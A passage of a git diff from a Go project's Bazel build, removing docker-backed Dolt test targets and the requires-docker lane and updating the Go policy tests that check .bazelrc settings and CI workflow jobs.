b/internal/storage/uow/BUILD.bazel index ffcd8cf28..d98cfcc61 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -86,7 +86,7 @@ go_library( # ~6-8s apiece, and the package needs ~7 min serially (TestBatchApplyContract # alone ~1 min: BoundsTheItemCount applies 1000+1001 real items), past the # default medium 300s. size/shard_count cover that configless run, the same -# workload uow_dolt_test (8 shards) and uow_docker_test (4 shards) run. +# workload uow_dolt_test (8 shards) runs. go_test( name = "uow_test", size = "large", @@ -202,45 +202,11 @@ go_test( ], ) -# The container-backed uow tests as pr.yml's "Test (storage domain + uow)" job -# runs them (no -short; each test starts its own dolt sql-server container), -# with BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 so a missing container fails instead -# of skipping. It repeats uow_test's `env` (go_test_variant.sh cannot inherit -# it). uow_test itself stays untagged: under --config=prcore those tests skip. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "uow_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :uow_test)"], - data = [ - ":uow_test", - "//cmd/bd:bd_for_tests", - ], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", - "BEADS_TEST_DOLT_SERVER": "container", - "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", - }, - # ~12 min unsharded under -race on a loaded host (large allows 15). - shard_count = 4, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# uow_test as pr.yml's "Test (storage domain + uow)" job runs it (no -short), +# uow_test as the retired "Test (storage domain + uow)" job ran it (no -short), # on the dolt-server lane: every server the tests ask internal/testutil for is # a `dolt sql-server` child of the test process, so the target runs on remote # workers. It repeats uow_test's `env` (go_test_variant.sh cannot inherit it). -# GOMAXPROCS=4 is the job's runner shape. uow_docker_test is the A/B control. +# GOMAXPROCS=4 is the job's runner shape. # 8 shards keep each under ~2 min remotely (the package is ~7 min in the job). # # Tags: diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index c3ecd1843..5fef41c5a 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -132,9 +132,10 @@ go_test( # server fingerprint)" job, every PR) and the TestLocalDoltServer_* tests run # against the pinned dolt in the test wrapper's runfiles. Every other # configuration of testutil_test passes BEADS_TEST_SKIP=dolt and skips them. -# The container half needs docker: testutil_docker_test below runs it on the -# docker lane, and TestPinnedDoltCLIMatchesContainerImage (//scripts) keeps -# the image tag on the pinned release. +# The container half needs docker and the image, so no Bazel target runs it: +# it runs under plain `go test` (the container backend is the default there) +# on a host that has both, and TestPinnedDoltCLIMatchesContainerImage +# (//scripts) keeps the image tag on the pinned release. # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the @@ -153,30 +154,6 @@ sh_test( tags = ["dolt-server"], ) -# The same tests with the container backend selected and required: the A/B -# control for testutil_dolt_test, and the only place TestDoltServerFingerprint's -# container half runs in CI (bazel.yml's docker lane, dolt-lane=docker). -# -# Tags: -# requires-docker: needs a docker daemon and the cached dolt-sql-server -# image; selected by --config=docker. -# no-remote-exec: the docker lane runs on the host. -sh_test( - name = "testutil_docker_test", - size = "medium", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :testutil_test)"], - data = [":testutil_test"], - env = { - "BEADS_TEST_DOLT_SERVER": "container", - "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", - }, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index 491df98bd..1fb51af6d 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -60,34 +60,11 @@ go_test( ], ) -# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it: no -# -short and no BEADS_TEST_SKIP=dolt, so TestMain starts the shared dolt -# sql-server container, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing -# container into a failure instead of a suite of skips. tracker_test itself -# stays untagged: under --config=prcore its Dolt-backed tests skip. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "tracker_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :tracker_test)"], - data = [":tracker_test"], - env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it (no +# tracker_test as the retired "Test (storage domain + uow)" job ran it (no # -short; TestMain starts the shared server), on the dolt-server lane: the # server is a local `dolt sql-server` child of the test process. # BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 makes TestMain exit 1 if it cannot start, -# instead of WARN-skipping the suite. tracker_docker_test is the A/B control. +# instead of WARN-skipping the suite. # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index edcd54ee7..8a0d2516e 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -826,7 +826,6 @@ var allowedBazelTestTags = map[string]string{ "host-tools": "needs host tools (bash/git/make/jq/...) beyond the test wrapper's", "no-remote-exec": "must run on the Bazel client's host, never on a remote worker", "no-remote-cache": "result depends on the host, so it is neither read from nor uploaded to the remote cache", - "requires-docker": "needs a docker daemon; excluded from --config=prcore/ci, run by --config=docker", // No no-remote-exec: the target starts its own dolt sql-server from the // pinned dolt in its runfiles, so it runs on any worker, and a server that // cannot start fails it rather than skipping, so its cached result holds. @@ -866,7 +865,7 @@ var allowedBazelTestTags = map[string]string{ // and vice versa (TestBazelPRCoreExcludedTagsMatchTaxonomy), so a new lane // tag lands here, and through bazelIntegrationExcludedTags in the // integration lane's filter too. -var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "dolt-server-proxied", "dolt-server-integration", "dolt-server-cmd", "embedded", "manual", "integration-only"} +var bazelPRCoreExcludedTags = []string{"dolt-server", "dolt-server-proxied", "dolt-server-integration", "dolt-server-cmd", "embedded", "manual", "integration-only"} // bazelIntegrationRunsTags are the PR-core-excluded tags --config=integration // runs: the integration lane is main.yml's integration jobs, whose @@ -914,12 +913,9 @@ func TestBazelPRCoreExcludedTagsMatchTaxonomy(t *testing.T) { // they must also carry: no-remote-exec, or remote execution would run them on a // worker that lacks the tool or daemon; and for host-tools, no-remote-cache, // because the action key does not cover the host's tool inventory, so a result -// produced on one host must not be served to another. (requires-docker -// targets fail rather than skip without their daemon, so their passes are -// safe to share.) +// produced on one host must not be served to another. var bazelTagsRequiring = map[string][]string{ - "host-tools": {"no-remote-exec", "no-remote-cache"}, - "requires-docker": {"no-remote-exec"}, + "host-tools": {"no-remote-exec", "no-remote-cache"}, } var ( @@ -994,8 +990,8 @@ func checkBazelBuildTags(name, build string) []error { func TestBazelTestTagsFollowTaxonomy(t *testing.T) { for name, good := range map[string]string{ - "docker": "# Tags:\n# requires-docker: needs a daemon.\n# no-remote-exec: the daemon is local.\n" + - "sh_test(\n name = \"x\",\n tags = [\n \"no-remote-exec\",\n \"requires-docker\",\n ],\n)\n", + "multi-line": "# Tags:\n# dolt-server: hermetic servers.\n# manual: a build input.\n" + + "sh_test(\n name = \"x\",\n tags = [\n \"dolt-server\",\n \"manual\",\n ],\n)\n", "host-tools": "# host-tools, no-remote-exec, no-remote-cache: git.\n" + "go_test(\n name = \"x\",\n tags = [\"host-tools\", \"no-remote-exec\", \"no-remote-cache\"], # why\n)\n", } { @@ -1008,7 +1004,7 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { "no comment": "go_test(\n name = \"x\",\n tags = [\"manual\"],\n)\n", "comment too far": "# manual: harness\n\ngo_test(\n name = \"x\",\n tags = [\"manual\"],\n)\n", "other rule's": "# manual: harness\ngo_test(name = \"a\", tags = [\"manual\"])\n\ngo_test(\n name = \"b\",\n tags = [\"manual\"],\n)\n", - "docker unpinned": "# requires-docker: daemon\ngo_test(\n name = \"x\",\n tags = [\"requires-docker\"],\n)\n", + "docker tag": "# requires-docker, no-remote-exec: daemon\ngo_test(\n name = \"x\",\n tags = [\"requires-docker\", \"no-remote-exec\"],\n)\n", "not a literal": "# manual\ngo_test(\n name = \"x\",\n tags = MANUAL,\n)\n", "literal plus": "# manual\ngo_test(\n name = \"x\",\n tags = [\"manual\"] + MORE,\n)\n", "host cacheable": "# host-tools no-remote-exec\ngo_test(\n name = \"x\",\n tags = [\"host-tools\", \"no-remote-exec\"],\n)\n", @@ -1159,13 +1155,13 @@ func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { } for name, rc := range map[string]string{ "missing": "test:ci --keep_going\n", - "no docker": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n", - "no dolt-server": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n", - "ci override": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + - "test:ci --config=prcore\ntest:ci --test_tag_filters=requires-docker\n", - "second prcore line": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "no embedded": "test:prcore --test_tag_filters=-dolt-server,-manual\n", + "no dolt-server": "test:prcore --test_tag_filters=-embedded,-manual\n", + "ci override": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n" + + "test:ci --config=prcore\ntest:ci --test_tag_filters=dolt-server\n", + "second prcore line": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n" + "test:prcore --test_tag_filters=-manual\n", - "transitive": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "transitive": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n" + "test:ci --config=prcore\nbuild:nightly --config ci --test_tag_filters=\n", } { if err := checkBazelrcPrcoreTagFilter(rc); err == nil { @@ -1206,23 +1202,16 @@ func TestBazelrcPrcoreMatchesPRCoreParallel(t *testing.T) { t.Fatalf(".bazelrc lacks %q (pr-core.sh runs go test -parallel %s)", want, m[1]) } -// Docker-lane results depend on host state no action key sees (daemon, dolt -// image, network), so they must always execute, like the container jobs' -// -count=1; and no remote-exec run may upload a locally executed result to -// the shared cache. -func TestBazelrcDockerLaneNeverCached(t *testing.T) { - lines := map[string]bool{} +// No remote-exec run may upload a locally executed result (a no-remote-exec +// test's, which depends on the host) to the shared cache. +func TestBazelrcRemoteExecUploadsNoLocalResults(t *testing.T) { + const want = "build:remote-exec --noremote_upload_local_results" for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { - lines[strings.TrimSpace(line)] = true - } - for _, want := range []string{ - "test:docker --nocache_test_results", - "build:remote-exec --noremote_upload_local_results", - } { - if !lines[want] { - t.Errorf(".bazelrc lacks %q", want) + if strings.TrimSpace(line) == want { + return } } + t.Errorf(".bazelrc lacks %q", want) } // --- fork cache -------------------------------------------------------------- diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go index 89ebd3532..47de8d20f 100644 --- a/scripts/ci_merge_queue_test.go +++ b/scripts/ci_merge_queue_test.go @@ -311,8 +311,7 @@ func TestMergeQueueBazelCoversRetiredTiers(t *testing.T) { // workflow-level env, --config=fresh only when inputs.fresh-test-results is // true (nightly.yml passes it; nothing else does), appended after every // other --config of each `bazel test` so its --nocache_test_results wins; -// no lane config turns caching off except docker (host state outside the -// action key); and nothing adds retries (eviction retries stay 0 where +// no lane config turns caching off; and nothing adds retries (eviction retries stay 0 where // set, TestBazelRetiredLanesArePinned / TestBazelPRLanesArePinned). func TestBazelTestResultCachingPolicy(t *testing.T) { var doc struct { @@ -412,16 +411,13 @@ func TestBazelTestResultCachingPolicy(t *testing.T) { if strings.HasSuffix(head, ":fresh") { lines = append(lines, line) } - if strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine && line != "test:docker --nocache_test_results" { - t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + if strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine { + t.Errorf(".bazelrc %q: only test:fresh sets test result caching", line) } } if strings.Join(lines, "\n") != bazelFreshRCLine { t.Errorf(".bazelrc --config=fresh = %q, want exactly %q", lines, bazelFreshRCLine) } - if !strings.Contains(rc, "\ntest:docker --nocache_test_results\n") { - t.Error(".bazelrc lost test:docker --nocache_test_results") - } } // detect-package-gates.sh on merge_group diffs the queue's own bounds diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 0cbc8d3b5..c0aeaf076 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -996,62 +996,6 @@ func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { } } -func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { - const ( - fingerprintTimeoutMinutes = 5 - storageTimeoutMinutes = 15 - doctorTimeoutMinutes = 10 - setupTeardownSlackMinutes = 5 - jobTimeoutMinutes = fingerprintTimeoutMinutes + storageTimeoutMinutes + doctorTimeoutMinutes + setupTeardownSlackMinutes - ) - storageCommand := fmt.Sprintf( - "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/...", - storageTimeoutMinutes) - doctorCommand := fmt.Sprintf( - "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./cmd/bd/doctor/fix/", - doctorTimeoutMinutes) - - for _, workflowName := range []string{"pr.yml"} { - t.Run(workflowName, func(t *testing.T) { - job := readCIWorkflow(t, workflowName).job(t, "test-domain-uow") - if job.TimeoutMinutes != jobTimeoutMinutes { - t.Errorf("test-domain-uow timeout = %d minutes, want %d", job.TimeoutMinutes, jobTimeoutMinutes) - } - // Go's timeout applies per package test binary, so this is a - // maintenance tripwire for the declared sequential tier budgets, - // not a mathematical upper bound for the multi-package first step. - if job.TimeoutMinutes <= fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes { - t.Errorf( - "test-domain-uow timeout = %d minutes, want more than %d minutes of declared tier budgets", - job.TimeoutMinutes, - fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes) - } - assertStepRunsExactly(t, job, "Test domain + uow + tracker", storageCommand) - assertStepRunsExactly(t, job, "Test doctor/fix (Dolt-backed, hard-require container)", doctorCommand) - }) - } - - // The container this job uses is compared with the checked-in - // fingerprint in its first test step - // (TestDoltServerFingerprintRunsWhereEachBackendRuns pins where). - job := readCIWorkflow(t, "pr.yml").job(t, prFingerprintJob) - assertStepRunsExactly(t, job, prFingerprintStep, - fmt.Sprintf("go test -tags gms_pure_go -count=1 -timeout %dm -v -run '^TestDoltServerFingerprint$' ./internal/testutil/", fingerprintTimeoutMinutes)) - assertStepEnvValue(t, job, prFingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") - - gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") - gateEnv := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, "test-domain-uow") { - t.Errorf("ci-gate needs test-domain-uow: %v", gate.Needs) - } - if got, want := gateEnv["TEST_DOMAIN_UOW"], "${{ needs.test-domain-uow.result }}"; got != want { - t.Errorf("ci-gate TEST_DOMAIN_UOW = %q, want %q", got, want) - } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "TEST_DOMAIN_UOW") { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include TEST_DOMAIN_UOW: %q", gateEnv["CI_GATE_REQUIRED"]) - } -} - func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { const ( workspaceBDBinary = "${{ github.workspace }}/bd" @@ -1099,63 +1043,6 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } } -// TestDoltTestcontainerStepsDisableRyuk pins TESTCONTAINERS_RYUK_DISABLED on -// the steps enumerated in the table below — the two Dolt-backed steps of -// pr.yml's test-domain-uow job. It is an allow-list of -// literal (workflow, job, step) triples, so it catches an un-pinning -// regression on those steps only; it does not detect the class, and a -// newly added container-starting step passes it unpinned. -// -// Why the pin: testcontainers-go shares one Ryuk reaper per host; when a step -// runs several container-starting packages as concurrent test binaries (plain -// "go test" parallelizes across packages), they race to attach to that shared -// reaper, and a failed handshake from one process reaps a sibling's live -// container mid-suite (be-2on). A GitHub Actions runner is destroyed after the -// job, so the reaper buys nothing there and only costs this race. -// -// The scope is the job, not a per-step predicate: "Test domain + uow + -// tracker" runs three container-starting package trees in one invocation and -// is the step the race is concrete on, while "Test doctor/fix" runs the single -// ./cmd/bd/doctor/fix/ package and is pinned for consistency inside the same -// job rather than because it has an in-step sibling. -// -// Left unpinned, deliberately. A step can only start a Dolt container if its -// job pre-caches the image via scripts/ci/pull-dolt-image.sh: checkDolt in -// internal/testutil gates on `docker image inspect` and never auto-pulls. The -// other jobs that do pull it are pr.yml/contract-corpus, -// pr-risk.yml/test-proxied-cmd, -// pr-risk.yml/test-server-storage and -full, and -// bazel.yml's --config=docker lane. They are out of scope for this change, not -// immune: no reap has been attributed to them, and the docker lane would -// additionally need --test_env=TESTCONTAINERS_RYUK_DISABLED=true because bazel -// does not forward ambient environment into tests. Extending the pin — and -// teaching this guard to scan for the class, the way assertGoCacheWriter below -// walks every job and step — is follow-up work on be-2on. -// -// Steps that run under BEADS_TEST_SKIP=dolt (pr-core.sh's hermetic wrapper, -// nightly.yml's full-test) never start a container at all -// and are correctly excluded: internal/testutil's readiness check treats -// BEADS_TEST_SKIP=dolt as an explicit opt-out before it ever reaches Docker. -func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { - type doltContainerStep struct { - workflow string - job string - step string - } - - steps := []doltContainerStep{ - {"pr.yml", "test-domain-uow", "Test domain + uow + tracker"}, - {"pr.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, - } - - for _, tc := range steps { - t.Run(tc.workflow+"/"+tc.job+"/"+tc.step, func(t *testing.T) { - job := readCIWorkflow(t, tc.workflow).job(t, tc.job) - assertStepEnvValue(t, job, tc.step, "TESTCONTAINERS_RYUK_DISABLED", "true") - }) - } -} - // TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite pins the nightly // full-test job's embedded-Dolt step: it must set BEADS_TEST_EMBEDDED_DOLT=1 // (the gate skipUnlessEmbeddedDolt checks) and run exactly @@ -3689,8 +3576,6 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { "BUILD_ARTIFACTS": "build-artifacts", "PR_CORE_WRAPPER": "pr-core-wrapper", "CHECK_CMD_BD_PUREGEO_TESTS": "check-cmd-bd-puregeo-tests", - "TEST_DOMAIN_UOW": "test-domain-uow", - "CONTRACT_CORPUS": "contract-corpus", } { if !contains(required, id) || !contains(gate.Needs, job) { t.Errorf("pr.yml ci-gate no longer requires legacy %s (%s)", job, id) @@ -4469,27 +4354,30 @@ func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { } } -// bazel-doltserver replaces pr.yml's container-backed jobs: --config=doltserver -// (hermetic dolt sql-servers, remote-executable) by default, and a dolt-server -// target in every package those jobs run. --config=docker stays reachable as -// the A/B control (dispatch dolt-lane=docker), with the jobs' image pull. +// bazel-doltserver is the only run of what pr.yml's container-backed jobs +// ("Test (storage domain + uow)", "Contract corpus") ran: --config=doltserver +// (hermetic dolt sql-servers, remote-executable), with a dolt-server target +// in every package those jobs ran. Nothing runs those suites against +// testcontainers any more: no docker lane, no requires-docker target, no +// image pull in bazel.yml, and neither job in pr.yml. func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDoltJobName) - pull := job.step(t, "Pull Dolt sql-server image") for _, name := range []string{"test-domain-uow", "contract-corpus"} { - if want := pr.job(t, name).step(t, "Pull Dolt sql-server image").Run; pull.Run != want { - t.Errorf("%s pulls the dolt image differently from %s (%q)", bazelDoltJobName, name, want) + if _, ok := pr.Jobs[name]; ok { + t.Errorf("pr.yml has job %s again; //...:*_dolt_test on the dolt-server lane runs its tests", name) } } - if pull.If != "${{ env.BAZEL_DOLT_LANE == 'docker' }}" { - t.Errorf("%s pulls the dolt image with if %q; only the docker lane needs it", bazelDoltJobName, pull.If) + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDoltJobName) + for _, st := range job.Steps { + if strings.Contains(st.Run, "pull-dolt-image") || strings.Contains(st.Run, "docker") { + t.Errorf("%s step %q uses docker; the dolt-server lane needs none", bazelDoltJobName, st.Name) + } } - if got := job.Env["BAZEL_DOLT_LANE"]; got != "${{ inputs.dolt-lane || 'doltserver' }}" { - t.Errorf("%s BAZEL_DOLT_LANE = %q, want the doltserver lane unless dispatched otherwise", bazelDoltJobName, got) + if _, ok := job.Env["BAZEL_DOLT_LANE"]; ok { + t.Errorf("%s still selects its lane from BAZEL_DOLT_LANE; it runs --config=doltserver only", bazelDoltJobName) } test := job.step(t, "bazel test //... --config=doltserver") - if !strings.Contains(test.Run, `bazel test //... "--config=$BAZEL_DOLT_LANE"`) || !strings.Contains(test.Run, "set -o pipefail") { + if !strings.Contains(test.Run, "bazel test //... --config=doltserver ") || !strings.Contains(test.Run, "set -o pipefail") { t.Errorf("dolt lane step does not run the lane over //...:\n%s", test.Run) } if strings.Contains(test.Run, "--config=remote-exec") { @@ -4498,37 +4386,36 @@ func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { assertTestStepKeepsExitStatus(t, test) rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") - for _, want := range []string{"test:doltserver --test_tag_filters=dolt-server", "test:docker --test_tag_filters=requires-docker"} { - if !strings.Contains(rc, want+"\n") { - t.Errorf(".bazelrc lacks %q", want) - } + if !strings.Contains(rc, "test:doltserver --test_tag_filters=dolt-server\n") { + t.Errorf(".bazelrc lacks %q", "test:doltserver --test_tag_filters=dolt-server") + } + if regexp.MustCompile(`(?m)^(build|test):docker\b`).MatchString(rc) { + t.Error(".bazelrc defines a docker config again; the dolt-server lane is hermetic") } - // The packages those jobs run (test-domain-uow: domain/..., uow, - // tracker/... and doctor/fix; contract-corpus: protocol) each need a + // The packages those jobs ran (test-domain-uow: domain/..., uow, + // tracker/... and doctor/fix, and the server fingerprint, whose local + // half testutil's target runs; contract-corpus: protocol) each need a // dolt-server target. Every such target, checked on its own, picks the // local backend and fails closed, so a broken backend fails rather than // skipping into a cached pass; the ones whose TestMain owns a server also // set the package's own REQUIRE switch. root := sourceRepoRoot(t) - for pkg, docker := range map[string]bool{ - "internal/storage/domain": false, - "internal/storage/domain/db": true, - "internal/storage/domain/fs": false, - "internal/storage/domain/git": false, - "internal/storage/uow": true, - "internal/tracker": true, - "internal/tracker/conformance": false, - "cmd/bd/doctor/fix": true, - "cmd/bd/protocol": true, + for _, pkg := range []string{ + "internal/storage/domain", + "internal/storage/domain/db", + "internal/storage/domain/fs", + "internal/storage/domain/git", + "internal/storage/uow", + "internal/testutil", + "internal/tracker", + "internal/tracker/conformance", + "cmd/bd/doctor/fix", + "cmd/bd/protocol", } { - build := readPolicyFile(t, root, pkg+"/BUILD.bazel") - for _, err := range checkDoltServerRules(pkg, build) { + for _, err := range checkDoltServerRules(pkg, readPolicyFile(t, root, pkg+"/BUILD.bazel")) { t.Error(err) } - if docker && !strings.Contains(build, `"requires-docker"`) { - t.Errorf("%s/BUILD.bazel has no requires-docker variant for the docker A/B lane", pkg) - } } } @@ -4617,15 +4504,14 @@ func checkDoltServerRules(pkg, build string) []error { } // A dolt-server rule is checked on its own: another target in the same file -// (the docker variant) carrying the env must not cover for it. +// (here an untagged variant) carrying the env must not cover for it. func TestCheckDoltServerRulesPerTarget(t *testing.T) { const docker = `sh_test( - name = "uow_docker_test", + name = "uow_container_test", env = { "BEADS_TEST_DOLT_SERVER": "container", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", }, - tags = ["requires-docker", "no-remote-exec"], ) ` good := `load("@rules_shell//shell:sh_test.bzl", "sh_test") @@ -5173,11 +5059,10 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("setup-bazel's generated rc selects or narrows tests; it may only configure remote execution") } for line := range rc { - // Result caching: only the docker lane and nightly's fresh config - // turn it off (ci_merge_queue_test.go). - if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && - line != "test:docker --nocache_test_results" && line != bazelFreshRCLine { - t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + // Result caching: only nightly's fresh config turns it off + // (ci_merge_queue_test.go). + if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine { + t.Errorf(".bazelrc %q: only test:fresh sets test result caching", line) } if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { t.Errorf(".bazelrc %q: the embedded jobs run without -short and BEADS_TEST_SKIP", line) diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index e280fb1fc..dc6148611 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -14,21 +14,19 @@ import ( // D2 step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same // pr.yml run stand down on the PRs bazel-coverage covers (pr_lanes): -// build-artifacts, PR Core, the pure-Go/js-wasm check, domain+uow and -// contract corpus, for Bazel / test, pure-Go and js/wasm and dolt-server -// lane. ci-gate then requires those lanes to have run remotely and passed +// build-artifacts, PR Core and the pure-Go/js-wasm check, for Bazel / test +// and pure-Go and js/wasm. ci-gate then requires those lanes, and the +// dolt-server lane (the only run of the Dolt-backed domain, uow, tracker, +// doctor/fix and protocol suites), to have run remotely and passed // (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the -// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane -// (its local half) and in test-domain-uow (its container half, where -// containers are used), and scripts-go-checks runs go test's vet checks. +// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane, +// and scripts-go-checks runs go test's vet checks. const ( // The legacy jobs' if: not covered. prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - prFingerprintJob = "test-domain-uow" - prFingerprintStep = "Test Dolt server fingerprint (container + local)" prScriptsChecksJob = "scripts-go-checks" prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run whenever they @@ -51,9 +49,7 @@ var prPackageGateIDs = map[string]string{"package-mcp": "PACKAGE_MCP", "package- var prLaneLegacyNeeds = map[string][]string{ "build-artifacts": {prRiskCoverageJobName}, "check-cmd-bd-puregeo-tests": {prRiskCoverageJobName}, - "contract-corpus": {prRiskCoverageJobName}, "pr-core-wrapper": {"build-artifacts", prRiskCoverageJobName}, - "test-domain-uow": {"build-artifacts", prRiskCoverageJobName}, } // .bazelrc's lines for the configs step 3's lanes run, exactly: the @@ -67,7 +63,7 @@ var bazelPRLaneRCLines = map[string][]string{ "test:prcore --test_arg=-test.skip=^TestEmbedded", "test:prcore --test_env=BEADS_TEST_SKIP=dolt", "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1", - "test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only", + "test:prcore --test_tag_filters=-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only", }, "ci": { "test:ci --config=prcore", @@ -138,8 +134,8 @@ echo "pure cmd/bd subset: $n test cases" "bazel test //... --config=doltserver": `set -o pipefail start=$(date +%s) rc=0 -bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? -echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" +bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"`, }, } @@ -546,30 +542,19 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { } } -// The Dolt server fingerprint is checked once per backend, where that backend -// runs: the local server (the pinned dolt CLI every Bazel dolt-server lane -// starts) by //internal/testutil:testutil_dolt_test on the dolt-server lane, -// whatever the mode (the retired every-PR job, "Test (Dolt server -// fingerprint)", pulled a docker image the workers do not have); the -// container by test-domain-uow, the container-backed job that runs only -// where bazel-coverage does not cover pr_lanes, as its first test step. No -// other pr.yml job runs it, and ci-gate has no separate fingerprint result. -func TestDoltServerFingerprintRunsWhereEachBackendRuns(t *testing.T) { +// The Dolt server fingerprint runs in CI on the local backend only: the +// pinned dolt CLI every Bazel dolt-server lane starts, checked by +// //internal/testutil:testutil_dolt_test on the 